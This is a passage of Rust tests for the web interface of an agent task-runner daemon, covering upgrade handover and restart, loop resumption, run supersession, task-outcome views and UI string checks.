14008 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
14009 let home = TempDir::new().expect("temp home");
14010 let runs = home.path().join("runs");
14011 std::fs::create_dir_all(&runs).expect("runs dir");
14012 let ui = Ui::new(
14013 Queue::at(home.path().join("queue")),
14014 Questions::at(home.path().join("questions")),
14015 Talks::at(home.path().join("talks")),
14016 runs,
14017 home.path().to_path_buf(),
14018 PathBuf::from("/repo/magi"),
14019 )
14020 .with_launch(launch_idle);
14021 let looping = ui.looping();
14022 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14023 .await
14024 .expect("bind loopback");
14025 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14026
14027 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14028 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14029
14030 hand_over(home.path(), &looping, served, |_| Ok(1))
14031 .await
14032 .expect("hand over");
14033
14034 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
14035 assert_eq!(
14036 after.stage,
14037 crate::updater::Stage::Restarting,
14038 "hand_over owns the record through parking and up to restarting; \
14039 the successor is what finishes it"
14040 );
14041 }
14042
14043 #[tokio::test]
14046 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
14047 for fail in [false, true] {
14048 let home = TempDir::new().expect("temp home");
14049 let ui = idle_ui(&home);
14050 let looping = ui.looping();
14051 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14052 .await
14053 .expect("bind loopback");
14054 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14055 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14056 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14057
14058 let calls = std::sync::atomic::AtomicUsize::new(0);
14059 let outcome = hand_over(home.path(), &looping, served, |_| {
14060 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
14061 if fail {
14062 anyhow::bail!("no exec")
14063 } else {
14064 Ok(4242)
14065 }
14066 })
14067 .await;
14068 assert_eq!(outcome.is_err(), fail);
14069 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
14070
14071 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
14072 .expect("upgrade.log is written under the home");
14073 for step in [
14074 "entered",
14075 "finish_loop",
14076 "listener released",
14077 "starting the successor",
14078 ] {
14079 assert!(log.contains(step), "missing `{step}` in:\n{log}");
14080 }
14081 assert!(
14082 log.contains(if fail { "did not start" } else { "pid 4242" }),
14083 "{log}"
14084 );
14085 }
14086 }
14087
14088 #[tokio::test]
14091 async fn the_handover_signal_wakes_one_waiter_once() {
14092 let signal = Notify::new();
14093 signal.notify_one();
14095 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
14096 .await
14097 .expect("an early signal is still seen");
14098 assert!(
14100 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
14101 .await
14102 .is_err(),
14103 "a consumed signal must not wake a second time"
14104 );
14105 let signal = std::sync::Arc::new(signal);
14107 let waiter = tokio::spawn({
14108 let signal = std::sync::Arc::clone(&signal);
14109 async move { wait_for_handover(&signal).await }
14110 });
14111 tokio::time::sleep(Duration::from_millis(20)).await;
14112 assert!(!waiter.is_finished(), "nothing was signalled yet");
14113 signal.notify_one();
14114 tokio::time::timeout(Duration::from_secs(5), waiter)
14115 .await
14116 .expect("a late signal wakes the waiter")
14117 .expect("join");
14118 }
14119
14120 #[tokio::test]
14121 async fn health_says_how_long_a_handover_has_been_stuck() {
14122 let fx = Fixture::start().await;
14123 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14124 progress.advance(crate::updater::Stage::Replaced);
14125 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
14126 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14127
14128 let health = fx.get("/api/health").await.json();
14129 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
14130 assert!(stuck >= 600, "{stuck}");
14131 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
14132 }
14133
14134 fn idle_ui(home: &TempDir) -> Ui {
14135 let runs = home.path().join("runs");
14136 std::fs::create_dir_all(&runs).expect("runs dir");
14137 Ui::new(
14138 Queue::at(home.path().join("queue")),
14139 Questions::at(home.path().join("questions")),
14140 Talks::at(home.path().join("talks")),
14141 runs,
14142 home.path().to_path_buf(),
14143 PathBuf::from("/repo/magi"),
14144 )
14145 .with_launch(launch_idle)
14146 }
14147
14148 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
14150 let looping = ui.looping();
14151 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14152 .await
14153 .expect("bind loopback");
14154 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14155 let told = std::sync::Mutex::new(None);
14156 hand_over(home.path(), &looping, served, |resume| {
14157 *told.lock().unwrap() = Some(resume);
14158 Ok(1)
14159 })
14160 .await
14161 .expect("hand over");
14162 told.into_inner().unwrap().expect("successor was started")
14163 }
14164
14165 #[tokio::test]
14166 async fn a_running_loop_is_resumed_by_the_successor() {
14167 let home = TempDir::new().expect("temp home");
14168 let ui = idle_ui(&home);
14169 ui.start_loop(None).expect("start");
14170 ui.park_for_upgrade().expect("park");
14171 for _ in 0..500 {
14173 if !ui.loop_view(None).running {
14174 break;
14175 }
14176 tokio::time::sleep(Duration::from_millis(2)).await;
14177 }
14178 assert!(handed_over(&home, ui).await, "a running loop must resume");
14179
14180 let successor = idle_ui(&home);
14181 assert!(!successor.loop_view(None).running);
14182 assert!(successor.resume_after_handover(true));
14183 assert!(successor.loop_view(None).running);
14184 successor.stop_loop(None, false).expect("stop");
14185 }
14186
14187 #[tokio::test]
14188 async fn a_second_upgrade_request_keeps_the_resume_intent() {
14189 let home = TempDir::new().expect("temp home");
14190 let ui = idle_ui(&home);
14191 ui.start_loop(None).expect("start");
14192 ui.park_for_upgrade().expect("first park");
14193 ui.park_for_upgrade().expect("second park");
14194 assert!(handed_over(&home, ui).await);
14195 }
14196
14197 #[tokio::test]
14198 async fn a_stop_during_the_handover_wait_is_honoured() {
14199 let home = TempDir::new().expect("temp home");
14200 let ui = idle_ui(&home);
14201 ui.start_loop(None).expect("start");
14202 ui.park_for_upgrade().expect("park");
14203 ui.stop_loop(None, false).expect("stop");
14204 assert!(!handed_over(&home, ui).await);
14205 }
14206
14207 #[tokio::test]
14208 async fn an_idle_loop_stays_stopped_across_the_handover() {
14209 let home = TempDir::new().expect("temp home");
14210 let ui = idle_ui(&home);
14211 ui.park_for_upgrade().expect("park");
14212 assert!(!handed_over(&home, ui).await);
14213
14214 let successor = idle_ui(&home);
14215 assert!(!successor.resume_after_handover(false));
14216 assert!(!successor.loop_view(None).running);
14217 }
14218
14219 #[tokio::test]
14220 async fn a_loop_the_operator_stopped_is_not_resumed() {
14221 let home = TempDir::new().expect("temp home");
14222 let ui = idle_ui(&home);
14223 ui.start_loop(None).expect("start");
14224 ui.stop_loop(None, false).expect("stop");
14225 ui.park_for_upgrade().expect("park");
14226 assert!(!handed_over(&home, ui).await);
14227 }
14228
14229 #[test]
14230 fn only_an_explicit_one_requests_a_resume() {
14231 assert!(!resume_requested(None));
14232 assert!(!resume_requested(Some("0".into())));
14233 assert!(!resume_requested(Some("".into())));
14234 assert!(resume_requested(Some("1".into())));
14235 }
14236
14237 #[test]
14238 fn the_upgrade_button_arms_before_it_restarts_anything() {
14239 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
14242 assert!(APP_JS.contains("Replace the binary and restart?"));
14243 assert!(APP_JS.contains("function confirmed("));
14244 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
14249 assert!(
14253 APP_JS.contains("Parking, then restarting"),
14254 "the button says what it is waiting for"
14255 );
14256 assert!(APP_JS.contains("if (!out.to)"));
14259 }
14260
14261 #[test]
14262 fn stopping_the_loop_arms_but_starting_does_not() {
14263 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
14266 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
14267 assert!(APP_JS.contains("confirmed(button, question)"));
14268 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
14271 assert!(APP_JS.contains("const label = btn.textContent;"));
14272 assert!(!APP_JS.contains("Neither direction is guarded"));
14273 }
14274
14275 #[test]
14276 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
14277 assert!(
14278 APP_JS.contains("state.health.version"),
14279 "the operator wants to know what is running even with nothing newer"
14280 );
14281 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
14282 }
14283
14284 #[test]
14285 fn the_upgrade_button_names_its_destination() {
14286 assert!(
14287 APP_JS.contains("`Update to ${update.to}`"),
14288 "pressing the button should not be a surprise about what it moves to"
14289 );
14290 }
14291
14292 #[test]
14293 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
14294 for stage in ["downloading", "replaced", "parking", "restarting"] {
14295 assert!(
14296 APP_JS.contains(&format!("\"{stage}\"")),
14297 "the phone must be able to tell {stage} apart from the others"
14298 );
14299 }
14300 assert!(APP_JS.contains(".waiting_on"));
14301 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
14306 assert!(APP_JS.contains("reconnects on its own"));
14307 }
14308
14309 #[test]
14310 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
14311 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
14320 ..APP_JS.find("function upgrade(").expect("upgrade")];
14321 assert!(
14322 !body.contains(
14323 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
14324 ),
14325 "a failed upgrade must not take the whole strip over the way it used to"
14326 );
14327 assert!(
14328 body.contains("upgradeFailNote"),
14329 "the failure has to reach the loop's own note instead"
14330 );
14331 assert_eq!(
14335 body.matches("upgradeFailNote].filter(Boolean).join")
14336 .count(),
14337 2,
14338 "both loop-why writers (quiet and control) must fold the note in"
14339 );
14340 }
14341
14342 #[test]
14343 fn an_overdue_upgrade_eventually_asks_for_a_human() {
14344 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
14347 assert!(APP_JS.contains("function upgradeOverdue("));
14348 }
14349
14350 #[test]
14351 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
14352 assert!(
14353 APP_JS.contains("Updated to ${upgradeInfo.to"),
14354 "the operator who asked for the restart wants to know it worked"
14355 );
14356 }
14357
14358 #[test]
14359 fn an_error_is_visible_from_where_the_button_is() {
14360 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
14365 ..APP_CSS.find(".alert-text").expect(".alert-text")];
14366 assert!(
14367 alert.contains("position: fixed"),
14368 "an error about the thing under your thumb has to be visible from \
14369 where your thumb is: {alert}"
14370 );
14371 assert!(
14372 alert.contains("z-index: 25"),
14373 "above the dock (20) and the run-actions FAB (15), so neither \
14374 buries it: {alert}"
14375 );
14376 assert!(
14377 alert.contains("var(--tap)"),
14378 "and clear of the dock and the home indicator: {alert}"
14379 );
14380 assert!(
14383 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
14384 "the FAB's column stays free: {alert}"
14385 );
14386 }
14387
14388 #[tokio::test]
14389 async fn an_older_attempt_says_what_replaced_it() {
14390 let fx = Fixture::start().await;
14391 let q = fx.queue();
14392 let runs = fx.runs();
14393 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14394 write_run(&runs, first, RunStatus::Stalled);
14395 write_run(&runs, second, RunStatus::Blocked);
14396
14397 let mut t = Task::new(
14398 "one task".to_owned(),
14399 "do it".to_owned(),
14400 PathBuf::from("/repo"),
14401 Source::Human,
14402 );
14403 t.runs = vec![first.to_owned(), second.to_owned()];
14404 q.put(&mut t).expect("put");
14405
14406 let rows = fx.get("/api/runs").await.json();
14410 let by = |short: &str| -> Value {
14411 rows.as_array()
14412 .unwrap()
14413 .iter()
14414 .find(|r| r["short"] == short)
14415 .cloned()
14416 .unwrap_or(Value::Null)
14417 };
14418 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
14419 assert!(
14420 by("bbbb")["superseded_by"].is_null(),
14421 "the latest attempt is not superseded by anything"
14422 );
14423 assert!(APP_JS.contains("run.superseded_by"));
14425 assert!(APP_JS.contains("Superseded by"));
14426 }
14427
14428 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
14429 let mut t = Task::new(
14430 "one task".to_owned(),
14431 "do it".to_owned(),
14432 PathBuf::from("/repo"),
14433 Source::Human,
14434 );
14435 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
14436 t.status = status;
14437 t
14438 }
14439
14440 #[test]
14441 fn source_link_picks_the_page_that_filed_the_task() {
14442 let agent = |node: &str| Source::Agent {
14443 run: "20260904-014455-ab12".to_owned(),
14444 node: node.to_owned(),
14445 };
14446 let chat = source_link(&agent("chat")).expect("chat link");
14447 assert_eq!(chat.kind, "chat");
14448 assert_eq!(chat.id, "20260904-014455-ab12");
14449 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
14450 let run = source_link(&agent("implement")).expect("run link");
14451 assert_eq!(
14452 (run.kind, run.href.as_str()),
14453 ("run", "#/runs/20260904-014455-ab12")
14454 );
14455 assert_eq!(source_link(&Source::Human), None);
14456 assert_eq!(
14457 source_link(&Source::Issue {
14458 number: 3,
14459 repo: "o/r".to_owned()
14460 }),
14461 None
14462 );
14463 let odd = source_link(&Source::Agent {
14464 run: "a b/c".to_owned(),
14465 node: "chat".to_owned(),
14466 })
14467 .expect("link");
14468 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
14469 }
14470
14471 #[test]
14472 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
14473 assert!(
14474 !APP_JS.contains("src.node === \"chat\""),
14475 "inline href rule is back"
14476 );
14477 assert!(
14478 APP_JS.matches("sourceLinkOf(").count() >= 4,
14479 "helper must serve every page"
14480 );
14481 assert!(
14482 APP_JS.matches("openChatLink(").count() >= 3,
14483 "the run page still needs its explicit chat link"
14484 );
14485 assert!(
14486 !APP_JS.contains("const openChat = el("),
14487 "the Queue card duplicates its source label link again"
14488 );
14489 assert!(
14490 APP_JS.contains("metaKids.push(link ? el(\"a\""),
14491 "the task page must link a chat source label too"
14492 );
14493 }
14494
14495 #[test]
14496 fn task_ref_carries_the_source_link_for_a_chat_task() {
14497 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
14498 t.source = Source::Agent {
14499 run: "20260904-014455-ab12".to_owned(),
14500 node: "chat".to_owned(),
14501 };
14502 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
14503 let v = serde_json::to_value(&out).expect("json");
14504 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
14505 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
14506 assert_eq!(v["source_label"], t.source.label());
14507
14508 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
14509 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
14510 .expect("json");
14511 assert!(v["source_link"].is_null(), "{v}");
14512 }
14513
14514 #[test]
14515 fn task_view_serializes_source_link() {
14516 let mut t = Task::new(
14517 "t".to_owned(),
14518 "t".to_owned(),
14519 PathBuf::from("/repo"),
14520 Source::Agent {
14521 run: "20260901-000000-aaaa".to_owned(),
14522 node: "implement".to_owned(),
14523 },
14524 );
14525 t.runs.clear();
14526 let v = serde_json::to_value(TaskView::from(t)).expect("json");
14527 assert_eq!(v["source_link"]["kind"], "run", "{v}");
14528 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
14529 }
14530
14531 #[tokio::test]
14532 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
14533 let fx = Fixture::start().await;
14534 let runs = fx.runs();
14535 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14536 write_run(&runs, old, RunStatus::Blocked);
14537 write_run(&runs, new, RunStatus::Merged);
14538 let mut t = outcome_task(&[old, new], TaskStatus::Done);
14539 fx.queue().put(&mut t).expect("put");
14540
14541 let view = fx.get(&format!("/api/runs/{old}")).await.json();
14542 let task = &view["task"];
14543 assert_eq!(task["status"], "done");
14544 assert_eq!(task["is_latest"], false);
14545 assert_eq!(task["latest"]["short"], "bbbb");
14546 assert_eq!(task["finished_by"]["id"], new);
14547 assert_eq!(task["finished_by"]["outcome"], "merged");
14548 assert_eq!(task["closed_by_hand"], false);
14549 assert_eq!(view["status"], "blocked", "the run keeps its own status");
14550 assert!(APP_JS.contains("finished_by"));
14551 assert!(APP_JS.contains("superseded by run"));
14552 }
14553
14554 #[tokio::test]
14555 async fn the_latest_run_reports_a_held_task_without_a_successor() {
14556 let fx = Fixture::start().await;
14557 let runs = fx.runs();
14558 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14559 write_run(&runs, old, RunStatus::Stalled);
14560 write_run(&runs, new, RunStatus::Blocked);
14561 let mut t = outcome_task(&[old, new], TaskStatus::Held);
14562 fx.queue().put(&mut t).expect("put");
14563
14564 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
14565 assert_eq!(task["status"], "held");
14566 assert_eq!(task["is_latest"], true);
14567 assert!(task["latest"].is_null());
14568 assert!(task["finished_by"].is_null());
14569 assert_eq!(task["closed_by_hand"], false);
14570 }
14571
14572 #[tokio::test]
14573 async fn a_direct_run_has_no_task_outcome() {
14574 let fx = Fixture::start().await;
14575 let runs = fx.runs();
14576 let id = "20260901-000000-aaaa";
14577 write_run(&runs, id, RunStatus::Blocked);
14578 let view = fx.get(&format!("/api/runs/{id}")).await.json();
14579 assert!(view["task"].is_null());
14580 }
14581
14582 #[test]
14583 fn task_outcome_does_not_guess_a_finishing_run() {
14584 let a = "20260901-000000-aaaa";
14585 let b = "20260901-000000-bbbb";
14586 let c = "20260901-000000-cccc";
14587 let dir = tempfile::tempdir().expect("tempdir");
14588 write_run(dir.path(), a, RunStatus::Blocked);
14589 write_run(dir.path(), b, RunStatus::VerifiedNoop);
14590 let read = |id: &str| read_run(dir.path(), id).ok();
14592 let t = outcome_task(&[a, b, c], TaskStatus::Done);
14595 let out = task_outcome(&t, a, 3, read);
14596 assert!(out.finished_by.is_none());
14597 assert!(out.closed_by_hand);
14598 let latest = out.latest.expect("latest");
14599 assert_eq!(latest.id, c);
14600 assert_eq!(latest.status, None);
14601 assert_eq!(latest.outcome, "record unreadable");
14602
14603 write_run(dir.path(), c, RunStatus::Ready);
14605 let t = outcome_task(&[a, c], TaskStatus::Done);
14606 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
14607 assert_eq!(out.finished_by.expect("finisher").id, c);
14608 assert!(!out.closed_by_hand);
14609
14610 let t = outcome_task(&[a, b, a], TaskStatus::Held);
14612 assert!(task_outcome(&t, a, 3, read).is_latest);
14613 }
14614
14615 #[tokio::test]
14616 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
14617 let fx = Fixture::start().await;
14622 let q = fx.queue();
14623 let runs = fx.runs();
14624 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
14625 write_run(&runs, first, RunStatus::Blocked);
14626 write_run(&runs, second, RunStatus::Merged);
14627
14628 let mut t = Task::new(
14629 "one task".to_owned(),
14630 "do it".to_owned(),
14631 PathBuf::from("/repo"),
14632 Source::Human,
14633 );
14634 t.runs = vec![first.to_owned(), second.to_owned()];
14635 q.put(&mut t).expect("put");
14636
14637 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
14638 assert_eq!(earlier["superseded_by"], "dddd");
14639 assert_eq!(earlier["latest_attempt"]["id"], second);
14640 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
14641 assert_eq!(
14642 earlier["latest_attempt"]["resolved"], true,
14643 "the run that replaced it landed, so this one reads as settled"
14644 );
14645
14646 let later = fx.get(&format!("/api/runs/{second}")).await.json();
14647 assert!(
14648 later["superseded_by"].is_null(),
14649 "the latest attempt is not superseded by anything"
14650 );
14651 assert!(
14652 later["latest_attempt"].is_null(),
14653 "the latest attempt has no later attempt of its own"
14654 );
14655
14656 assert!(APP_JS.contains("run.latest_attempt"));
14663 assert!(APP_JS.contains("data-superseded"));
14664 assert!(APP_JS.contains("#/runs/${latest.id}"));
14665 }
14666
14667 #[tokio::test]
14668 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
14669 let fx = Fixture::start().await;
14675 let q = fx.queue();
14676 let runs = fx.runs();
14677 let (a, b, c) = (
14678 "20260901-000000-aaaa",
14679 "20260901-000000-bbbb",
14680 "20260901-000000-cccc",
14681 );
14682 write_run(&runs, a, RunStatus::Blocked);
14683 write_run(&runs, b, RunStatus::Blocked);
14684 write_run(&runs, c, RunStatus::Merged);
14685
14686 let mut t = Task::new(
14687 "retried twice".to_owned(),
14688 "do it".to_owned(),
14689 PathBuf::from("/repo"),
14690 Source::Human,
14691 );
14692 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
14693 q.put(&mut t).expect("put");
14694
14695 let view = fx.get(&format!("/api/runs/{a}")).await.json();
14696 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
14697 assert_eq!(
14698 view["latest_attempt"]["id"], c,
14699 "the chain's current head, not the intermediate Blocked retry"
14700 );
14701 assert_eq!(view["latest_attempt"]["resolved"], true);
14702
14703 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
14704 assert_eq!(mid["latest_attempt"]["id"], c);
14705 assert_eq!(mid["latest_attempt"]["resolved"], true);
14706 }
14707
14708 #[tokio::test]
14709 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
14710 let fx = Fixture::start().await;
14711 let q = fx.queue();
14712 let runs = fx.runs();
14713
14714 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
14717 write_run(&runs, still_blocked_a, RunStatus::Blocked);
14718 write_run(&runs, still_blocked_b, RunStatus::Blocked);
14719 let mut t1 = Task::new(
14720 "still stuck".to_owned(),
14721 "do it".to_owned(),
14722 PathBuf::from("/repo"),
14723 Source::Human,
14724 );
14725 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
14726 q.put(&mut t1).expect("put");
14727 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
14728 assert_eq!(view1["latest_attempt"]["resolved"], false);
14729 assert_eq!(view1["latest_attempt"]["status"], "blocked");
14730 assert_eq!(view1["latest_attempt"]["done"], true);
14731
14732 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
14734 write_run(&runs, run_a, RunStatus::Blocked);
14735 write_run(&runs, run_b, RunStatus::Implementing);
14736 let mut t3 = Task::new(
14737 "retrying".to_owned(),
14738 "do it".to_owned(),
14739 PathBuf::from("/repo"),
14740 Source::Human,
14741 );
14742 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
14743 q.put(&mut t3).expect("put");
14744 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
14745 assert_eq!(view3["latest_attempt"]["id"], run_b);
14746 assert_eq!(view3["latest_attempt"]["resolved"], false);
14747 assert_eq!(view3["latest_attempt"]["done"], false);
14748
14749 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
14754 write_run(&runs, noop_a, RunStatus::Blocked);
14755 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
14756 let mut t2 = Task::new(
14757 "claims done".to_owned(),
14758 "do it".to_owned(),
14759 PathBuf::from("/repo"),
14760 Source::Human,
14761 );
14762 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
14763 q.put(&mut t2).expect("put");
14764 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
14765 assert_eq!(
14766 view2["latest_attempt"]["resolved"], false,
14767 "an unverified no-op claim must not read as a confirmed finish"
14768 );
14769
14770 assert!(APP_JS.contains("latest.resolved"));
14773 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
14776 assert!(APP_JS.contains("Latest attempt: "));
14777 assert!(APP_JS.contains("in flight"));
14778 assert!(APP_JS.contains("not resolved"));
14779 }
14780
14781 #[tokio::test]
14782 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
14783 let fx = Fixture::start().await;
14784 let js = fx.get("/app.js").await;
14790 assert_eq!(js.status, 200);
14791 let tag = js
14792 .header("etag")
14793 .expect("an etag to revalidate against")
14794 .to_owned();
14795 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
14796 assert_eq!(
14797 js.header("cache-control"),
14798 Some("no-cache, must-revalidate"),
14799 "the phone has to ask every time"
14800 );
14801
14802 let again = fx
14805 .get_with("/app.js", &[("if-none-match", tag.as_str())])
14806 .await;
14807 assert_eq!(
14808 again.status, 304,
14809 "a deck it already has costs one round trip"
14810 );
14811 assert!(again.body.is_empty(), "304 carries no body");
14812
14813 let weak = fx
14816 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
14817 .await;
14818 assert_eq!(weak.status, 304);
14819 let stale = fx
14820 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
14821 .await;
14822 assert_eq!(stale.status, 200, "an older build must be replaced");
14823 assert!(stale.body.contains("renderRunActions"));
14824 }
14825
14826 #[test]
14827 fn the_task_detail_has_an_actions_fab_and_sheet() {
14828 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
14829 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
14830 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
14831 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
14833 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
14834 assert!(APP_JS.contains("renderTaskActions(task);"));
14836 assert!(APP_JS.contains("renderTaskActions(null);"));
14837 let sheet = APP_JS
14839 .find("function renderTaskActions")
14840 .expect("sheet renderer");
14841 let body = &APP_JS[sheet..sheet + 3000];
14842 assert!(body.contains("changePriority("));
14843 assert!(body.contains("openTaskEdit(task)"));
14844 assert!(body.contains("renderTaskHoldBox(host"));
14845 assert!(body.contains("renderTaskDoneBox(host"));
14846 assert!(body.contains("renderTaskDeleteBox(host"));
14847 assert!(APP_JS.contains("API.priority(id)"));
14848 assert!(APP_JS.contains("API.deleteTask(id)"));
14849 assert!(APP_JS.contains("location.hash = \"#/queue\""));
14851 assert!(APP_JS.contains("$(\"task-actions-error\")"));
14853 }
14854
14855 #[test]
14856 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
14857 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
14858 let actions = INDEX_HTML
14859 .find("id=\"run-actions-box\"")
14860 .expect("actions box");
14861 assert!(task < actions, "the task entry comes first in the sheet");
14862 assert!(APP_JS.contains("renderRunTaskEntry"));
14863 assert!(APP_JS.contains("\"Open task \""));
14864 assert!(APP_JS.contains("started directly, no task"));
14866 assert!(APP_JS.contains("sheet-task-link"));
14867 assert!(APP_JS.contains("task-chip-link"));
14868 }
14869
14870 #[test]
14871 fn the_deck_never_sends_the_operator_to_a_terminal() {
14872 assert!(
14875 !APP_JS.contains("Run `magi fold` first"),
14876 "the deck must offer the fold, not prescribe a shell command"
14877 );
14878 assert!(APP_JS.contains("foldRun:"));
14879 assert!(APP_JS.contains("resumeRun:"));
14880 assert!(APP_JS.contains("renderRunActions"));
14881
14882 assert!(APP_JS.contains("armedFold"));
14884 assert!(APP_JS.contains("Yes, fold worktrees"));
14885
14886 assert!(APP_JS.contains("can no longer be resumed"));
14889 }
14890
14891 #[test]
14892 fn a_finished_run_explains_itself_with_its_own_last_line() {
14893 assert!(
14899 !APP_JS.contains("collapsed on agent quota"),
14900 "a stall must not be explained by a cause the deck did not check"
14901 );
14902 assert!(
14903 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
14904 "and a block must not offer a guess with an `or` in it"
14905 );
14906
14907 assert!(
14911 APP_JS.contains("setText(r.event, run.event || \"\")"),
14912 "the run's last line is rendered unconditionally"
14913 );
14914 assert!(
14915 !APP_JS.contains("moving && run.event"),
14916 "and never gated on the run still moving"
14917 );
14918
14919 assert!(APP_JS.contains("lost to quota"));
14921 }
14922
14923 #[test]
14945 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
14946 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
14947 let shapes_body_start =
14948 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
14949 let shapes_close = APP_JS[shapes_body_start..]
14950 .find("].map(")
14951 .expect("the shape list is closed by its done-computing .map(...)")
14952 + shapes_body_start;
14953 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
14954
14955 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
14956 for entry in shapes_src.split('{').skip(1) {
14957 let waiting = entry.contains("waiting: true");
14958 let dead = entry.contains("live: \"dead\"");
14959 let status_at =
14960 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
14961 let status_end = entry[status_at..]
14962 .find('"')
14963 .expect("the status string is closed")
14964 + status_at;
14965 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
14966 }
14967 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
14968
14969 let done_rule_marker = "done: !";
14973 let done_rule_at = APP_JS[shapes_close..]
14974 .find(done_rule_marker)
14975 .expect("the done rule follows the shape list")
14976 + shapes_close
14977 + done_rule_marker.len();
14978 let includes_at = APP_JS[done_rule_at..]
14979 .find(".includes(shape.status)")
14980 .expect("the done rule ends in .includes(shape.status)")
14981 + done_rule_at;
14982 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
